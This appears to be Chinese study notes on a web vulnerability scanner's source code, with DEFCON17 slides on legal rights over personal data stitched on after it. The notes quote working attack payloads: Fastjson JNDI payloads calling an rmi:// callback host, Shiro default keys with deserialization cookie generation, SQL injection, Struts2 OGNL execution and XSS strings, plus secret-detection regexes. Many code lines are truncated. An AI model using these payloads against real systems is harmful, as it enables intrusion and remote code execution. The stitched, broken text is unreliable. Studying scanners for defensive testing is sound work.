"PGP密钥": '-----BEGIN PGP PRIVATE KEY BLOCK-----',
# possible_creds
"密码泄露": '(?i)(password\\s*[`=:\\"]+\\s*[^\\s]+|password '
'is\\s*[`=:\\"]*\\s*[^\\s]+|pwd\\s*[`=:\\"]*\\s*[^\\s]+|passwd\\s*[`=:\\"]+\\s*[^\\s]+)',
# RSA
"RSA密钥": '-----BEGIN EC PRIVATE KEY-----',
# DSA
"DSA密钥": '-----BEGIN DSA PRIVATE KEY-----',
# stripe 账号泄露
"Stripe账号泄露 1": 'rk_live_[0-9a-zA-Z]{24}',
"Stripe账号泄露 2": 'sk_live_[0-9a-zA-Z]{24}',
# twillio 账号泄露
"Twillio 账号泄露 1": 'AC[a-zA-Z0-9_\\-]{32}',
"Twillio 账号泄露 2": 'SK[0-9a-fA-F]{32}',
"Twillio 账号泄露 3": 'AP[a-zA-Z0-9_\\-]{32}'
}
in的话
def sensitive_bankcard(source):
_ = r'\D(6\d{14,18})\D'
texts = re.findall(_, source, re.M | re.I)
out = []
if texts:
for i in set(texts):
out.append({
"type": "bankcard",
"content": i
})
return out
def sensitive_idcard(source):
_ = r'\D([123456789]\d{5}((19)|(20))\d{2}((0[123456789])|(1[012]))((0[123456789])|([12][0-9])|(3[
texts = re.findall(_, source, re.M | re.I)
out = []
if texts:
for i in set(texts):
if len(i[0]) < 18:
continue
out.append({
"type": "idycard",
"content": i[0]
})
return out
def sensitive_phone(source):
_ = r'\D(1[3578]\d{9})\D'
texts = re.findall(_, source, re.M | re.I)
out = []
if texts:
for i in set(texts):
out.append({
"type": "phone",
"content": i
})
return out
def sensitive_email(source):
_ = r'(([a-zA-Z0-9]+[_|\-|\.]?)*[a-zA-Z0-9]+\@([a-zA-Z0-9]+[_|\-|\.]?)*[a-zA-Z0-9]+(\.[a-zA-Z]{2,
texts = re.findall(_, source, re.M | re.I)
if texts:
for i in set(texts):
return {
"type": "email",
"content": i[0]
}
匹配上的话在修改下referer 看是否可以继续访问获取信息可以的话认为漏洞存在
headers["Referer"] = fake_domain
req = requests.get(self.requests.url, headers=headers)
result2 = self.check_sentive_content(req.text)
if not result2:
return
php_real_path 信息泄露
根据desc说明 对于一些php网站,将正常参数替换为[]可能造成真实信息泄漏
所以先判断是否是php的 是的话 对所有参数的key换成k+[]的形式
再次发起请求 并且判断 "Warning" "array given in 是否存在响应页面中
参数增加[]
for k, v in iterdata.items():
data = copy.deepcopy(iterdata)
del data[k]
key = k + "[]"
data[key] = v
poc_fastjson 打fastjson的
如果是json的或者类似json的post请求的
if self.requests.post_hint == POST_HINT.JSON or self.requests.post_hint == POST_HINT.JSON_LIKE:
创建一个反连平台api实例然后生成token 域名 传入payload生成函数
发起请求 测试dnslog是否存在
反连平台api
rmi = reverseApi()
if rmi.isUseReverse():
rmidomain = rmi.generate_rmi_token()
rmi_token = rmidomain["token"]
fullname = rmidomain["fullname"]
1.2.24的payload
sensitive_list = ['username', 'memberid', 'nickname', 'loginid', 'mobilephone', 'userid', 'passportid
'profile', 'loginname', 'loginid',
'email', 'realname', 'birthday', 'sex', 'ip']
# for fastjson 1.2.24
fastjson_payload = {
random_str(4): {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "rmi://{}".format(domain),
"autoCommit": True
}
}
1.2.47的payload
# for fastjson 1.2.47
fastjson_payload = {
random_str(4): {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
random_str(4): {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "rmi://{}".format(domain),
"autoCommit": True
}
}
shiro Shiro框架检测以及Key爆破
先判断是否是 Shiro 直接从响应中判断
if "deleteMe" in respHeader.get('Set-Cookie', ''):
isShiro = True
是的话先产生一条漏洞
如果响应中没有 在cookie里加下 _cookie["rememberMe"] = "2"
然后发请求 如果在响应头中看的 deleteMe 则说明是Shiro
if req and "deleteMe" in req.headers.get('Set-Cookie', ''):
isShiro = True
这里如果是Shiro还会爆破下key
默认的key
def _check_key(self):
keys = [
'kPH+bIxk5D2deZiIxcaaaA==', '4AvVhmFLUs0KTA3Kprsdag==', 'WkhBTkdYSUFPSEVJX0NBVA==',
'RVZBTk5JR0hUTFlfV0FPVQ==', 'U3ByaW5nQmxhZGUAAAAAAA==',
'cGljYXMAAAAAAAAAAAAAAA==', 'd2ViUmVtZW1iZXJNZUtleQ==', 'fsHspZw/92PrS3XrPW+vxw==',
'sHdIjUN6tzhl8xZMG3ULCQ==', 'WuB+y2gcHRnY2Lg9+Aqmqg==',
'ertVhmFLUs0KTA3Kprsdag==', '2itfW92XazYRi5ltW0M2yA==', '6ZmI6I2j3Y+R1aSn5BOlAA==',
'f/SY5TIve5WWzT4aQlABJA==', 'Jt3C93kMR9D5e8QzwfsiMw==',
'aU1pcmFjbGVpTWlyYWNsZQ==',
]
生成payload
然后将payload写到Cookie的 rememberMe中 发起请求
_cookie = paramToDict(reqHeader["Cookie"], place=PLACE.COOKIE)
_cookie["rememberMe"] = payload
reqHeader["Cookie"] = url_dict2str(_cookie, PLACE.COOKIE)
最后判断 "deleteMe" not in req.headers.get('Set-Cookie', '')
则存在反序列化漏洞
sqli_bool 布尔注入检测
先直接请求一次 然后去除多余数据后匹配相似度
def generator_payload(self, key):
payload = b'\xac\xed\x00\x05sr\x002org.apache.shiro.subject.SimplePrincipalCollection\xa8\x7fX%\x
iv = b'w\xcf\xd7\x98\xa8\xe9LD\x97LN\xd0\xa6\n\xb8\x1a'
backend = default_backend()
cipher = Cipher(algorithms.AES(base64.b64decode(key)), modes.CBC(iv), backend=backend)
encryptor = cipher.encryptor()
BS = algorithms.AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
file_body = pad(payload)
ct = encryptor.update(file_body)
base64_ciphertext = base64.b64encode(iv + ct)
return base64_ciphertext.decode()
if self.requests.method == HTTPMETHOD.POST:
r = requests.post(self.requests.url, data=self.requests.data, headers=self.requests.headers)
else:
r = requests.get(self.requests.url, headers=self.requests.headers)
html = self.removeDynamicContent(r.text)
self.resp_str = self.removeDynamicContent(self.resp_str)
try:
self.seqMatcher.set_seq1(self.resp_str)
self.seqMatcher.set_seq2(html)
ratio = round(self.seqMatcher.quick_ratio(), 3)
并且查找动态内容
计数+1
self.findDynamicContent(self.resp_str, html)
count += 1
开始准备插入payload测试
payload
sql_payload = [
"<--isdigit-->",
"'and'{0}'='{1}",
'"and"{0}"="{1}',
" and '{0}'='{1}-- ",
"' and '{0}'='{1}-- ",
'''" and '{0}'='{1}-- ''',
") and '{0}'='{1}-- ",
"') and '{0}'='{1}-- ",
'''") and '{0}'='{1}-- '''
]
闭合单双引号加括号 然后 用and等于随机数 最后注释
如果有参数中有 desc 或者 asc 可能可以使用order by
payload增加一条 ,if('{0}'='{1}',1,(select 1 from information_schema.tables))
默认是不是数字的 判断一下value值是否是数字 是的话 is_num设置为True
for payload in temp_sql_flag:
is_num = False
if payload == "<--isdigit-->":
if str(v).isdigit():
is_num = True
else:
continue
开始生成payload
获取false的
如果是数字的直接是 v/0
否则是两个随机字符串拼接到payload模块里
这里如果随机出来的一样再次随机直到不一样为止
获取true的
如果是数字的直接 v/1
否则就是随机字符串1 与随机字符串1拼接到模板里 相等即为true
def generatePayloads(self, payloadTemplate, v, is_num=False):
'''
根据payload模板生成布尔盲注所需要的True 和 False payload
:param payloadTemplate:
:return:
'''
if is_num:
payload_false = "{}/0".format(v)
else:
str1 = random_str(2)
str2 = random_str(2)
while str1 == str2:
str2 = random_str(2)
payload_false = v + payloadTemplate.format(str1, str2)
rand_str = random_str(2)
if is_num:
payload_true = "{}/1".format(v)
else:
payload_true = v + payloadTemplate.format(rand_str, rand_str)
return payload_true, payload_false
sqli_error 报错注入
报错注入的payload模板
num = random_num(4)
s = random_str(4)
_payloads = [
'鎈\'"\(',
"'", "')", "';", '"', '")', '";', ' order By 500 ', "--", "-0",
") AND {}={} AND ({}={}".format(num, num + 1, num, num),
" AND {}={}%23".format(num, num + 1),
" %' AND {}={} AND '%'='".format(num, num + 1), " ') AND {}={} AND ('{}'='{}".format(num, num + 1
" ' AND {}={} AND '{}'='{}".format(num, num + 1, s, s),
'`', '`)',
'`;', '\\', "%27", "%%2727", "%25%27", "%60", "%5C",
"extractvalue(1,concat(char(126),md5({})))".format(random_num),
"convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','{}')))".format(random_num)
]
然后将payload 写到参数里请求 使用 Get_sql_errors 遍历判断数据库类型
里面都是类似这种的 errors.append(('System\.Data\.OleDb\.OleDbException', DBMS.MSSQL))
然后再用正则匹配下报错信息 sensitive_page_error_message_check
匹配上了的话就输出结果
sqli_time 时间注入
padyload模板
sleep time 是5s
sleep_time = 5
sleep_str = "[SLEEP_TIME]"
生成payload
这里是把 [SLEEP_TIME] 换成 sleep_time 即5s
生成了两个一个是5s的一个是0s的
num = random_num(4)
sql_times = {
"MySQL": (
" AND SLEEP({})".format(self.sleep_str),
" AND SLEEP({})--+".format(self.sleep_str),
"' AND SLEEP({})".format(self.sleep_str),
"' AND SLEEP({})--+".format(self.sleep_str),
"' AND SLEEP({}) AND '{}'='{}".format(self.sleep_str, num, num),
'''" AND SLEEP({}) AND "{}"="{}'''.format(self.sleep_str, num, num)),
"Postgresql": (
"AND {}=(SELECT {} FROM PG_SLEEP({}))".format(num, num, self.sleep_str),
"AND {}=(SELECT {} FROM PG_SLEEP({}))--+".format(num, num, self.sleep_str),
),
"Microsoft SQL Server or Sybase": (
" waitfor delay '0:0:{}'--+".format(self.sleep_str),
"' waitfor delay '0:0:{}'--+".format(self.sleep_str),
'''" waitfor delay '0:0:{}'--+'''.format(self.sleep_str)),
"Oracle": (
" and 1= dbms_pipe.receive_message('RDS', {})--+".format(self.sleep_str),
"' and 1= dbms_pipe.receive_message('RDS', {})--+".format(self.sleep_str),
'''" and 1= dbms_pipe.receive_message('RDS', {})--+'''.format(self.sleep_str),
"AND 3437=DBMS_PIPE.RECEIVE_MESSAGE(CHR(100)||CHR(119)||CHR(112)||CHR(71),{})".format(self.sl
"AND 3437=DBMS_PIPE.RECEIVE_MESSAGE(CHR(100)||CHR(119)||CHR(112)||CHR(71),{})--+".format(
self.sleep_str),
)
}
def generatePayloads(self, payloadTemplate, origin_dict):
"""
根据payload模板生成时间盲注所需要的不同响应时间的payload
@param payloadTemplate:
@param origin_dict:
@return:
"""
new_dict = origin_dict.copy()
zero_dict = origin_dict.copy()
for k, v in new_dict.items():
new_dict[k] = v + payloadTemplate.replace(self.sleep_str, str(self.sleep_time))
# 如果取 2*sleep_time 可能会更准确
zero_dict[k] = v + payloadTemplate.replace(self.sleep_str, "0")
return new_dict, zero_dict
这两个都发起请求测试并计时
如果sleep 5s的响应时间大于5s 并且 sleep 5s的响应时间大于sleep 0s的响应时间 这里计算了时间相差
sleep5s的响应时间 - sleep0s的响应时间 保留小数点后两位
计算相差时间 delta = round(delta1 - delta0, 3)
这里的时间差用的是随机 本来的时间差到3中取值 这块不是很理解 ???
默认是验证两次即会测试两次来确认
ssti ssti模板注入探测
先从响应页面中获取表单参数
解析html
如果标签是input 获取绑定的key和value
如果key的值是name 那么result加入这个value值
如果是script 那么获取里面的值并且使用 pyjsparser 解析这段js代码获取body
def getParamsFromHtml(html):
parse = MyHTMLParser()
parse.feed(html)
tokens = parse.getTokenizer()
result = set()
for token in tokens:
tagname = token["tagname"].lower()
if tagname == "input":
for attibute in token["attibutes"]:
key, value = attibute
if key == "name":
result.add(value)
break
elif tagname == "script":
content = token["content"]
try:
nodes = pyjsparser.parse(content).get("body", [])
except pyjsparser.pyjsparserdata.JsSyntaxError as e:
return []
result |=set(analyse_js(nodes))
return list(result)
通过解析js获取里面key是name的value值
如果是list递归解析
def analyse_js(node) -> list:
if isinstance(node, dict):
r = []
if node.get("type") == "VariableDeclarator":
id = node.get("id", {})
if isinstance(id, dict):
if id.get("type") == "Identifier":
r.append(id["name"])
for key, value in node.items():
dd = analyse_js(value)
r.extend(dd)
return r
elif isinstance(node, list):
r = []
for item in node:
r.extend(analyse_js(item))
return r
return []
寻找html标签里里和javascript里name的value 是在响应页面里找
事例 <input name="username" placeholder="请输入用户名" class="input number-input">
他会获取到username 这个其实是发送数据的key
先生成随机字符串写到这个key的value里
如果随机字符串存在响应中就继续测试ssti
payload模板 计算两个数字的乘积
payloads = [
"{%d*%d}",
"<%%=%d*%d%%>",
"#{%d*%d}",
"${{%d*%d}}",
"{{%d*%d}}",
"{{= %d*%d}}",
"<# %d*%d>",
"{@%d*%d}",
"[[%d*%d]]",
"${{\"{{\"}}%d*%d{{\"}}\"}}",
]
会发起三次测试
不编码请求 self.req(positon, url_dict2str(data, positon))
url编码请求 self.req(positon, data)
html编码请求
data[k] = html.escape(data[k])
r1 = self.req(positon, data)
都去判断两个随机数字的乘积是否存在到响应的页面中
struts2_032 Struts2-032远程代码执行
直接打payload在data中
if self.requests.method == HTTPMETHOD.GET:
parse_params = (parse_params | TOP_RISK_GET_PARAMS) - set(self.requests.params.keys())
for key in parse_params:
params_data[key] = random_str(6)
params_data.update(self.requests.params)
resp = requests.get(self.requests.netloc, params=params_data, headers=self.requests.headers).text
iterdatas = self.generateItemdatas(params_data)
elif self.requests.method == HTTPMETHOD.POST:
parse_params = (parse_params) - set(self.requests.post_data.keys())
for key in parse_params:
params_data[key] = random_str(6)
params_data.update(self.requests.post_data)
resp = requests.post(self.requests.url, data=params_data, headers=self.requests.headers).text
iterdatas = self.generateItemdatas(params_data)
然后检测响应是否存在
checks = [str(ran_check), '无法初始化设备 PRN', '??????? PRN', '<Struts2-vuln-Check>',
'Unable to initialize device PRN']
存在则输出结果
struts2_045 Struts2-045远程代码执行
payload写到请求头的 Content-Type 里
发起请求 timeout设置为30s
for payload in payloads:
headers['Content-Type'] = payload
r = requests.get(self.requests.url, headers=headers,timeout=30)
html1 = r.text
然后检验的字符串 check = '<Struts2-vuln-Check>'
unauth 未授权访问探测插件
先判断请求头里是否有以下字段 ["cookie", "token", "auth"]
有的话才继续进行判断
然后测试如果删除了 cookie token auth是否换访问
访问的页面与之前正常访问的相似度是多少来判断是否有未授权访问
ran_a = random.randint(10000000, 20000000)
ran_b = random.randint(1000000, 2000000)
ran_check = ran_a - ran_b
lin = 'expr' + ' ' + str(ran_a) + ' - ' + str(ran_b)
checks = [str(ran_check), '无法初始化设备 PRN', '??????? PRN', '<Struts2-vuln-Check>',
'Unable to initialize device PRN']
payloads = [
r"method%3a%23_memberAccess%[email protected]+@DEFAULT_MEMBER_ACCESS%2c%23kxlzx%[email protected].
ran_a) + '-' + str(ran_b) + "%29%2c%23kxlzx.close",
r"method:%23_memberAccess%[email protected]@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts
r"method:%23_memberAccess%[email protected]@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts
r"method:%23_memberAccess%[email protected]@DEFAULT_MEMBER_ACCESS,%23req%3d%40org.apache.struts
]
payloads = [
r"%{(#nikenb='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess
r"%{(#nike='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(
r'''%{(#fuck='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess
]
webpack webpack源文件泄漏
先过滤需要 js后缀 然后拼接url 后面加 .map
再次访问如果返回状态码是 200 并且页面含有 webpack:///
则说明是 webpack源文件泄漏
if self.requests.suffix.lower() == '.js':
new_url = self.requests.url + ".map"
req = requests.get(new_url, headers=self.requests.headers)
if req.status_code == 200 and 'webpack:///' in req.text:
result = ResultObject(self)
result.init_info(self.requests.url, "webpack源文件泄漏", VulType.SENSITIVE)
result.add_detail("payload探测", req.reqinfo, generateResponse(req),
"webpack:/// 在返回文本中", "", "", PLACE.GET)
self.success(result)
xss XSS语义化探测
这里不是单纯的正则匹配 是语法语义解析的
先通过响应体获取可以测试的标签 跟ssti一个方法
而且也是同样的做法判断这个标签的value值是否会回显到响应体里
找回显位置
# 探测回显
xsschecker = "0x" + random_str(6, string.digits + "abcdef")
data[k] = xsschecker
r1 = self.req(positon, data)
if not re.search(xsschecker, r1.text, re.I):
continue
html_type = r1.headers.get("Content-Type", "").lower()
XSS_LIMIT_CONTENT_TYPE = conf.XSS_LIMIT_CONTENT_TYPE
if XSS_LIMIT_CONTENT_TYPE and 'html' not in html_type:
continue
# 反射位置查找
locations = SearchInputInResponse(xsschecker, r1.text)
SearchInputInResponse 解析html查找回显位置
先判断input回显是在 tagname content 中否则就判断是name还是value
返回解析的位置 token
def SearchInputInResponse(input, body):
parse = MyHTMLParser()
parse.feed(body)
tokens = parse.getTokenizer()
index = 0
occurences = []
for token in tokens:
tagname = token["tagname"]
content = token["content"]
attibutes = token["attibutes"]
_input = input
origin_length = len(occurences)
if _input in tagname:
occurences.append({
"type": "intag",
"position": index,
"details": token,
})
elif input in content:
if tagname == "#comment":
occurences.append({
"type": "comment",
"position": index,
"details": token,
})
elif tagname == "script":
occurences.append({
"type": "script",
"position": index,
"details": token,
})
elif tagname == "style":
occurences.append({
"type": "html",
"position": index,
"details": token,
})
else:
occurences.append({
"type": "html",
"position": index,
"details": token,
})
else:
# 判断是在name还是value上
for k, v in attibutes:
content = None
if _input in k:
content = "key"
elif v and _input in v:
content = "value"
if content:
occurences.append({
"type": "attibute",
"position": index,
"details": {"tagname": tagname, "content": content, "attibutes": [(k, v)]},
})
if len(occurences) > origin_length:
index += 1
return occurences
如果 这个回显没有找到匹配
测试下直接请求会被转义的payload payload = "<{}//".format(flag)
如果匹配到了说明html代码未转义 可以直接利用了
然后如果有回显匹配的迭代
如果回显位置是在html里
如果标签名称是style里的 那么payload
payload = "expression(a({}))".format(random_str(6, string.ascii_lowercase))
发送 同样使用解析html寻找回回显 找到则输出结果
否则 测试是html标签是否可以被闭合
payload = "</{}><{}>".format(random_upper(details["tagname"]), flag)
同样的去判断回显 有则输出结果
如果回显位置是在attibute里
flag 是 flag = random_str(5)
如果content是key
测试闭合的payload是 "><{} ".format(flag)
如果闭合没有被转义那么可用的payload是 truepayload = "><svg onload=alert 1 >"
如果content不是key
测试 attibutes
那么测试的闭合payload
for _payload in ["'", "\"", " "]:
payload = _payload + flag + "=" + _payload
如果没被转义 那么可以用的payload
truepayload = "{payload} onmouseover=prompt(1){payload}".format(payload=_payload)
测试 html
闭合payload
for _payload in [r"'><{}>", "\"><{}>", "><{}>"]:
payload = _payload.format(flag)
如果没被转义 可使用的payload "svg onload=alert\ 1`"`
针对特殊属性进行处理
特殊属性
specialAttributes = ['srcdoc', 'src', 'action', 'data', 'href']
如果标签是这些属性
直接把flag写到这些属性的value值里再次发起请求测试回显
specialAttributes = ['srcdoc', 'src', 'action', 'data', 'href'] # 特殊处理属性
keyname = details["attibutes"][0][0]
tagname = details["tagname"]
if keyname in specialAttributes:
flag = random_str(7)
data[k] = flag
req = self.req(positon, data)
_occerens = SearchInputInResponse(flag, req.text)
如果属性是 style
那么测试的payload是 payload = "expression(a({}))".format(random_str(6, string.ascii_lowercase))
如果在 xss_eval_attitudes里
也是直接搞个随机数写到value里看回显来判断
如果回显位置是注释里
闭合的payload是
for _payload in ["-->", "--!>"]:
payload = "{}<{}>".format(_payload, flag)
如果没被转义 那么可用的payload payload.format(_payload, "svg onload=alert 1 ")
如果回显位置是script里
闭合的payload
XSS_EVAL_ATTITUDES = ['onbeforeonload', 'onsubmit', 'ondragdrop', 'oncommand', 'onbeforeeditfocus', '
'onoverflow', 'ontimeupdate', 'onreset', 'ondragstart', 'onpagehide', 'onunhand
'oncopy',
'onwaiting', 'onselectstart', 'onplay', 'onpageshow', 'ontoggle', 'oncontextmen
'onbeforepaste', 'ongesturestart', 'onafterupdate', 'onsearch', 'onseeking',
'onanimationiteration',
'onbroadcast', 'oncellchange', 'onoffline', 'ondraggesture', 'onbeforeprint', '
'onbeforedeactivate', 'onhelp', 'ondrop', 'onrowenter', 'onpointercancel', 'ona
'onmouseup',
'onbeforeupdate', 'onchange', 'ondatasetcomplete', 'onanimationend', 'onpointer
'onlostpointercapture', 'onanimationcancel', 'onreadystatechange', 'ontouchleav
'onloadstart',
'ondrag', 'ontransitioncancel', 'ondragleave', 'onbeforecut', 'onpopuphiding',
'ongotpointercapture', 'onfocusout', 'ontouchend', 'onresize', 'ononline', 'onc
'ondataavailable', 'onformchange', 'onredo', 'ondragend', 'onfocusin', 'onundo'
'onstalled', 'oninput', 'onmousewheel', 'onforminput', 'onselect', 'onpointerle
'ontouchenter', 'onsuspend', 'onoverflowchanged', 'onunload', 'onmouseleave',
'onanimationstart',
'onstorage', 'onpopstate', 'onmouseout', 'ontransitionrun', 'onauxclick', 'onpo
'onkeydown', 'onseeked', 'onemptied', 'onpointerup', 'onpaste', 'ongestureend',
'ondragenter', 'onfinish', 'oncut', 'onhashchange', 'ontouchcancel', 'onbeforea
'onafterprint', 'oncanplaythrough', 'onhaschange', 'onscroll', 'onended', 'onlo
'ontouchmove', 'onmouseover', 'onbeforeunload', 'onloadend', 'ondragover', 'onk
'onmessage',
'onpopuphidden', 'onbeforecopy', 'onclose', 'onvolumechange', 'onpropertychange
'onmousedown', 'onrowinserted', 'onpopupshowing', 'oncommandupdate', 'onerrorup
'onpopupshown',
'ondurationchange', 'onbounce', 'onerror', 'onend', 'onblur', 'onfilterchange',
'onstart',
'onunderflow', 'ondragexit', 'ontransitionend', 'ondeactivate', 'ontouchstart',
'onpointermove', 'onwheel', 'onpointerover', 'onloadeddata', 'onpause', 'onrepe
'onmouseenter',
'ondatasetchanged', 'onbegin', 'onmousemove', 'onratechange', 'ongesturechange'
'onlosecapture',
'onplaying', 'onfocus', 'onrowsdelete']
script_tag = random_upper(details["tagname"])
payload = "</{}><{}>{}</{}>".format(script_tag,
script_tag, flag,
script_tag)
可用的payload
truepayload = "</{}><{}>{}</{}>".format(script_tag,
script_tag, "prompt(1)",
script_tag)
将payload写到value值 发起请求 测试回显
同时 js语法树分析反射
因为回显的位置是在js中所以这里还需要解析下js语法
如果回显的位置是 InlineComment js单行注释
那么闭合的payload payload = "\n;{};//".format(flag)
可使用的payload truepayload = "\n;{};//".format('prompt(1)')
如果回显的位置是 BlockComment js块注释
闭合 payload
flag = "0x" + random_str(4, "abcdef123456")
payload = "*/{};/*".format(flag)
这里的pyalod是随机出来的0x加上这几个字符串没有使用默认的全部有点疑惑
可用的payload truepayload = "*/{};/*".format('prompt(1)')
如果回显的位置是 ScriptIdentifier
可用的payload prompt(1);//
如果回显的位置是 ScriptLiteral
如果回显位置的前缀是 单引号或者双引号 那么闭合payload
payload = '{quote}-{rand}-{quote}'.format(quote=quote, rand=flag)
可用payload truepayload = '{quote}-{rand}-{quote}'.format(quote=quote, rand="prompt(1)")
否则payload是 payload = "0x" + random_str(4, "abcdef123456")
可用payload truepayload = "prompt(1)"
发起请求测试回显
学习的地方 (可以抄)
colorama 控制台彩色输出 支持windows
用的第三方库 colorama 控制台彩色输出 支持windows
https://pypi.org/project/colorama/
随机banner
def banner():
msg = "w13scan v{}".format(VERSION)
sfw = True
s = milk_random_cow(msg, sfw=sfw)
dataToStdout(random_colorama(s) + "\n\n")
这个很酷啊 有颜色和随机的图案
load_file_to_module 另一种动态加载插件的方式
使用util通过模块的名字和路径来导入模块
解析post数据类型
是 FakeReq 解析请求里的方法
W13SCAN/lib/parse/parse_request.py#L38
def _analysis_post(self):
post_data = unquote(self._body)
if re.search('([^=]+)=([^%s]+%s?)' % (DEFAULT_GET_POST_DELIMITER, DEFAULT_GET_POST_DELIMITER),
post_data):
self._post_hint = POST_HINT.NORMAL
self._post_data = paramToDict(post_data, place=PLACE.POST, hint=self._post_hint)
elif re.search(JSON_RECOGNITION_REGEX, post_data):
self._post_hint = POST_HINT.JSON
elif re.search(XML_RECOGNITION_REGEX, post_data):
self._post_hint = POST_HINT.XML
elif re.search(JSON_LIKE_RECOGNITION_REGEX, post_data):
self._post_hint = POST_HINT.JSON_LIKE
elif re.search(ARRAY_LIKE_RECOGNITION_REGEX, post_data):
self._post_hint = POST_HINT.ARRAY_LIKE
self._post_data = paramToDict(post_data, place=PLACE.POST, hint=self.post_hint)
elif re.search(MULTIPART_RECOGNITION_REGEX, post_data):
self._post_hint = POST_HINT.MULTIPART
raw方法
是 FakeReq 解析请求里的方法
W13SCAN/lib/parse/parse_request.py#L93
返回一个raw数据 类似burp的请求包
module_name = 'plugin_{0}'.format(get_filename(file_path, with_ext=False))
spec = importlib.util.spec_from_file_location(module_name, file_path, loader=PocLoader(module_nam
mod = importlib.util.module_from_spec(spec)
spec.loader.exec_module(mod)
return mod
@property
def raw(self):
# Build request
req_data = '%s %s %s\r\n' % (self.method, self._uri, self._request_version)
# Add headers to the request
for k, v in self._headers.items():
req_data += k + ': ' + v + '\r\n'
req_data += '\r\n'
req_data += self._body
return req_data
text 自动解码响应体
是 FakeResp 解析请求里的方法
获取响应体内容
W13SCAN/lib/parse/parse_responnse.py#L44
@property
def text(self):
if self._decoding:
try:
return self._body.decode(self._decoding)
except Exception as e:
return self._body.decode('utf-8', "ignore")
return self._body.decode('utf-8', "ignore")
将参数拆分为名称和值 返回字典
是 插件父类的方法
def paramToDict(parameters, place=PLACE.GET, hint=POST_HINT.NORMAL) -> dict:
"""
Split the parameters into names and values, check if these parameters
are within the testable parameters and return in a dictionary.
"""
testableParameters = {}
if place == PLACE.COOKIE:
splitParams = parameters.split(DEFAULT_COOKIE_DELIMITER)
for element in splitParams:
parts = element.split("=")
if len(parts) >= 2:
testableParameters[parts[0]] = ''.join(parts[1:])
elif place == PLACE.GET:
splitParams = parameters.split(DEFAULT_GET_POST_DELIMITER)
for element in splitParams:
parts = element.split("=")
if len(parts) >= 2:
testableParameters[parts[0]] = ''.join(parts[1:])
elif place == PLACE.POST:
if hint == POST_HINT.NORMAL:
splitParams = parameters.split(DEFAULT_GET_POST_DELIMITER)
for element in splitParams:
parts = element.split("=")
if len(parts) >= 2:
testableParameters[parts[0]] = ''.join(parts[1:])
elif hint == POST_HINT.ARRAY_LIKE:
splitParams = parameters.split(DEFAULT_GET_POST_DELIMITER)
for element in splitParams:
parts = element.split("=")
if len(parts) >= 2:
key = parts[0]
value = ''.join(parts[1:])
if '[' in key:
if key not in testableParameters:
testableParameters[key] = []
testableParameters[key].append(value)
else:
testableParameters[key] = value
return testableParameters
对url去重泛化模块
W13SCAN/lib/core/spiderset.py
代理模块
代理模块很好用
xss 语法语义的形式
等等
w13scan值得学习的太多了 对于自己的扫描器设计又有了一些想法 并且也可以抄很多代码 | pdf |
Your Mind: Legal Status,
Rights and Securing
Yourself
Tiffany Rad and James Arlen
DEFCON17
August 2nd, 2009
2009-08-02
Your Mind: Legal Status, Rights and Securing Yourself - DEFCON17
2
We’re going to make your brain hurt.
In a good way.
The hurt might even save your brain.
Disclaimer: Neither of us are speaking
for our employers. We promise not to
break the world.
2009-08-02
Your Mind: Legal Status, Rights and Securing Yourself - DEFCON17
3
Tiffany Strauchs Rad, MA, MBA, JD
•
President of ELCnetworks, LLC.,
o Business consulting, legal services, and security
consulting
•
Part-time Adjunct Professor in the
computer science department at the
University of Southern Maine
o computer law and ethics, information security
•
Establishing a computer crimes clinic at
Maine School of Law and law Fellow for
cyber crimes and computer law class
•
Organizer of HackME, a hacker space in
Portland, Maine
2009-08-02
Your Mind: Legal Status, Rights and Securing Yourself - DEFCON17
4
James “Myrcurial” Arlen, CISA
•
Part-time Security Consultant
o Fortune 500, Profit 50, based in Toronto
•
Part-time Chief Information Security
Officer at a mid-sized financial
•
Part-time stringer for Liquidmatrix
Security Digest
•
Full-time push-the-envelope next-gen
super-duper visionary strategitarian
•
Founder of think|haus, a hacker space in
Hamilton, Ontario
2009-08-02
Your Mind: Legal Status, Rights and Securing Yourself - DEFCON17
5
Some definitions and legalese-to-english
translations:
•
Stored data and communications
•
In-transit communications
•
Legal person
•
Legal adult
•
Non compos mentis
•
Common law
•
Tort law
•
Jurisdiction
•
Agent (not secret, corporate)
•
Contract
2009-08-02
Your Mind: Legal Status, Rights and Securing Yourself - DEFCON17
6
“Data” and “Document” are sometimes,
but not always interchangeably used
by lawyers and legislators.
We will use these working definitions:
•
Data: the lowest level of abstraction
from which information and knowledge
are derived. IE: Bytes arranged in order.
•
Document: a bounded physical
representation of body of information
designed with the capacity (and usually
intent) to communicate.
2009-08-02
Your Mind: Legal Status, Rights and Securing Yourself - DEFCON17
7
Living Person (Person in Being)
or
Business Organization (Corporate
Entity)?
•
A company has some legal rights similar to
a living person
o A company can make contracts as well as sue
and be sued
o An Agent can “speak” for the business
organization
2009-08-02
Your Mind: Legal Status, Rights and Securing Yourself - DEFCON17
8
Legal and Technical Differences:
•
Stored Communications
oWhen data has come to rest on a device
oSCA derived from the ECPA
oLesser standard for warrants
•
In Transit Communication
oWhen data is still “moving” between
devices
oHigher standard for warrants
2009-08-02
Your Mind: Legal Status, Rights and Securing Yourself - DEFCON17
9
Fourth Amendment
“The right of the people to be secure in their persons, houses,
papers, and effects, against unreasonable searches and
seizures, shall not be violated, and no Warrants shall issue,
but upon probable cause, supported by Oath or affirmation,
and particularly describing the place to be searched, and the
persons or things to be seized.”
•
Only works inside the borders of the
USA
•
Doesn’t count *at* the border
•
May be over-ridden by other laws and
norms - USA PATRIOT ACT
2009-08-02
Your Mind: Legal Status, Rights and Securing Yourself - DEFCON17
10
Sanctity of your person is not absolute:
•
T.S.A.
•
Terry stop
•
Warrant
•
Third party permission to search
2009-08-02
Your Mind: Legal Status, Rights and Securing Yourself - DEFCON17
11
Sanctity of your “stuff” is even less
absolute:
•
Computers and compute devices
•
Plain sight/view
•
Non-related data
•
Incomplete warrant
2009-08-02
